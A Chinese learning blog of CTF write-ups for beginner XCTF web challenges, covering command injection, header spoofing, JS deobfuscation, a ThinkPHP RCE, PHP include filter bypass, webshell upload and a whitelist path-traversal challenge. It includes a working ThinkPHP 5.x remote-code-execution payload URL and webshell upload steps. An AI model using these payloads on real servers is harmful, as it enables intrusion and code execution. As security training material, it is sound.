难度1全部写过了,这个系列里没有
指路:
攻防世界题目练习——Web难度1(一)
攻防世界题目练习——Web难度1(二)
题目:
小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。
题目名称是命令执行,想到了命令拼接,但是忘记怎么拼接了,于是查了一下资料:
攻防世界web刷题 新手区 command_execution 详细解!!!超详细
【web安全】——命令执行漏洞(RCE)详解
可以看到,命令拼接符有如下几种:
Windows下:
&
A&B 无论A是false还是true,B都执行,即互不影响
&&
A&&B 具有短路效果,A是false,B就不执行,有短路效果
|
A|B 表示A命令语句的输出,作为B命令语句的输入执行。当A为false的时候将不会执行
||
A||B 表示A命令语句执行失败,然后才执行B命令语句
Linux下:
&
使命令在后台运行。只要在命令后面跟上一个空格和 ‘&’,可以一口气 在后台运行多个命令
&&
同Windows下
||
同Windows下
;
分号,可以进行多条命令的无关联执行,每一条执行结果互不影响
()
想执行几个命令,则需要用命令分隔符分号隔开每个命令,并使用 圆括号()把所有命令组合起来。
于是我们尝试用;
连接两条命令:
尝试用find命令查看带有"flag"名称的文件:
Linux下查找文件(find、grep命令)
find / -name “flag*”
/ 表示在根目录下
*是通配符
然后再用cat命令查看
题目:
X老师告诉小宁其实xff和referer是可以伪造的。
参考博客:
CTF/网络安全|攻防世界 xff_referer 解题详析
xff-referer伪造ip地址和域名
姑且理解为:
X-Forwarded-For展示的是访问来源的最终客户端的ip地址
Referer是从某个A网站显示的B网站的链接来访问B网站时,访问B网站的请求包里的Referer就是A网站的域名。
访问网页就弹窗,不是很清楚从何下手,看到题目名称js,想到javascript,就F12想看一下源码,居然真的能看到有用的源码:
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
//string.split(separator,limit),字符串或正则表达式,从该参数指定的地方分割 string Object。
//从函数体外的最后两行代码可以看到,函数dechiffre的参数pass_enc就是要输入的密码,以','分隔后赋值给了变量tab
var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
k = j + (l) + (n=0);
//j是我们输入的密码的长度
//k的初始值k=j
n = tab2.length;
//n是变量pass的长度,数了一下,是18
for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
if(i == 5)break;}
//在0<=i<=5之间,将tab2[i]的值存入p中
//没看懂o=tab[i-l]有什么用
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
//k=j=n,将n赋值给了j
//5
p += String.fromCharCode(tab2[17]);
//tab2[17]=65
pass = p;return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
//自始至终,dechiffre()函数的返回值只会是变量pass的初始值
h = window.prompt('Enter password');
alert( dechiffre(h) );
alert()函数会用一个弹窗显示出函数的参数表示的信息。
参考博客:
JavaScript split() 方法
JavaScript的三种弹出提示框(alert、confirm、prompt)
随便输入错误的密码,看到弹窗如下:
源码中的变量pass应该就是这一串字符,根据上面的分析,应该无论输入什么都会输出上面这个弹框的提示。
唯一可能存在flag的就是这一串了:
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
随便print一下进行ascii码转换,再将获得的字符作为十进制ascii码再次转换:
参考博客:
[CTF/网络安全] 攻防世界 simple_js 解题详析
对不起,我浅薄的网安知识让我以为php_rce是指php源码,看了别人的解析才知道是一种漏洞的名称TAT
放一篇参考博客在这里:
[CTF/网络安全] 攻防世界 php_rce 解题详析
PHP RCE 指的是通过远程代码执行漏洞(Remote Code Execution)来攻击 PHP 程序的一种方式。
看了博客才知道,原来是利用ThinkPHP V5的已知漏洞payload的吗?!
(原来是用这种方式解决的吗.jpg)
博客里尝试v5.0.20版本的漏洞payload是可以用的,尝试如下:
URL + /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd命令
ls
find / -name "*flag*"
cat /flag
打开网址后看到显示源码如下:
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
可以看到,strstr函数会检测参数 $page 中是否包含字符串"php://“,若包含,则用空字符串”“替换掉 $page 中的"php://”。
因此需要绕过strstr函数的检测,同时,我们还需要可执行命令来查找flag文件,在php伪协议中,可以用php://input 在post的请求体中上传可执行命令。
查找资料后发,strstr函数对大小写十分敏感,因此考虑大小写绕过。
可以看到存在文件 fl4gisisish3r3.php(flagisisishere),于是我们查看该文件:
更多方式参考博客:
XCTF-攻防世界CTF平台-Web类——4、Web_php_include(php中strstr()函数绕过、数据流协议)
[CTF/网络安全] 攻防世界 Web_php_include 解题详析(php伪协议、data伪协议、file伪协议) - 秋说 - 博客园
查看网页源码,可以看到对上传文件的条件检测:
如图,check()函数会将/^.+\./
替换为空字符串''
,并会检测名称是否包含jpg或png。
这题真的比我想得简单多了,居然最普通的一句话木马文件上传就可以,一句话木马:
然后就是BurpSuite修改文件后缀,把jpg/png修改为php
没有很多过滤,直接上传成功,还直接显示了上传文件的路径,感觉我前面看源码想复杂了,不知道那个replace函数的替换起到了什么作用:
(又去搜了搜别人的解析思考了一下,这个replace应该并不是针对文件后缀的过滤吧,可能只是为了便于数据处理而进行的替换,并不是对上传的文件名的限制)
真正的检验应该只有后面判断是否为jpg/png文件,而且这个属于前端校验,就是只在前端上传页面进行检测,就算检测不通过文件也会被存储,只是会在前端将按钮灰掉不让上传,因此也可以通过修改前端代码的方式来取消文件上传后缀的限制。
接下来用蚁剑连接找文件:
还是对这些文件存放的位置不够熟悉,只知道很多在根目录下,还是看了博客才知道很多也经常放在www目录下。
参考博客:
XCTF-攻防世界CTF平台-Web类——11、upload1(文件上传、前端校验)
打开网址一直转圈,于是用BurpSuite抓包查看response,如下:
看到了右边的响应中出现了一个 source.php 文件名,于是又用御剑扫描了一下目录:
查看了source.php,没看到和flag相关的信息,又查看hint.php,发现提示:
回过头来再仔细分析source.php的内容,如下:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//设置了一个白名单,只允许访问source.php和hint.php两个文件,下面看一下做了哪些检验
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
//第1次检验
if (in_array($page, $whitelist)) {
return true;
}
//第2次检验
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
//mb_substr(str,start,length)函数从str的start位置开始返回length长度的字符串
//mb_strpos(haystack,needle,offset)函数返回 string 的 haystack 中 needle 首次出现位置的数值,offset是搜索位置的偏移,没有提供的话则默认为0。
//故,该函数的含义是:
//返回$page参数中直到第一次出现?之前的字符串(因为是从0开始数)作为$_page
if (in_array($_page, $whitelist)) {
return true;
}
//然后检测$_page是否在白名单中
//第3次检验
//如果不在,则:
$_page = urldecode($page);
//将$page进行url解码后再进行上述判断
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
//对$_page进行一次截断后再判断白名单
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "
";
}
?>
参考博客:
PHP mb_substr() 函数 | 菜鸟教程
PHP: mb_strpos - Manual
在上面的源码中,可以看到一共进行了3次检验:
第1次是直接将整个路径进行白名单匹配;
第2次是将?前的内容进行匹配;
第3次是进行url解码后再匹配;
总的来说就是,只要我们构造的file参数的内容能够满足这3次检验中的一次,并且要访问到文件ffffllllaaaagggg。
我们并不知道ffffllllaaaagggg的准确的路径,需要通过足够多的…/构造的相对路径来访问这个文件。
其实并不是很清楚具体原理,这个又好像属于猜测路径。
如果要构造满足第3次检验的url,则需要对?进行两次url编码,因为路径在通过url上传时浏览器本身就会自己进行一次url解码,而第3次检验又需要进行一次url解码,因此需要编码两次。
参考博客:
攻防世界-web高手进阶篇-warmup